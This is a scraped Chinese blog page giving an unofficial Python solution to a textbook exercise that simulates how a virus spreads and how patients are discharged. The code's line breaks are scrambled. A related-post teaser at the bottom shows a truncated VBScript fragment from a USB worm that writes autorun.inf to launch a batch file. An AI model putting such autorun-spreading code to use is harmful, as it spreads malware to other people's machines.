這題比較簡單,只要找出每次傳播中各資料變化的規律,一層一層地算即可:
get到重點
def
virus
(set_day)
: row =
0# 傳播次數
day =
0# 天數
num =
1# 感染人數
while
(day <= set_day)
: row +=
1
day = row *
5# 5天傳播一次
num *=2if
(day > set_day)
:# 迴圈後天數可能大於設定值
return num /
2# 人數往後退一位
else
:return num
重點:
def
cure_num
(set_day)
: day = set_day -
14# 座標軸從0開始算
if day <10:
# 前10天無患者出院
return
0 num =
1# 每批患者出院的數量
res =
1# 總和
while
(day >=15)
: num *=
2if res >
1000
:# 據題意,當總和達到1000,每天加1000
res +=
1000
day -=
1else
: res += num
if res >
1000
: day -=
1else
: day -=
5return res
本題出自《演算法之美—python語言實現》1.6實驗題,解答均為個人看法,非官方答案,如有錯漏,請多多指教
vbsU盤傳播病毒
if fso.fileexists c autorun.inf then set objfolder fso.getfile c autorun.inf else wsh.run cmd c echo autorun c autorun.inf echo open x.bat c autorun.i...
新冠病毒的傳播(bfs)
題目描述 最近新冠病毒疫情非常嚴重,由於我們國家採取了有力的措施,才沒有使疫情進一步的擴大。今天,作為計算機專業的學生,我們來用程式模擬一下各種情況下的新冠病毒傳播情況。現在給定乙個n m的網格,每個網格可以有以下三個值之一 每天,任何與感染人群 在 4 個正方向上 相鄰的健康人都會感染。如果遇到隔...
Python實現簡單的SI傳播模型
si疾病傳播模型的原理 在經典的傳染病模型中,種群 population 內n個個體的狀態可分為如下幾類 易感狀態 susceptible 乙個個體在感染前是處於易感狀態的,即該個體有可能被鄰居個體感染。易感狀態i infected 乙個感染上某種病毒的個體就稱為是處於感染狀態。即該個體還會以一定概...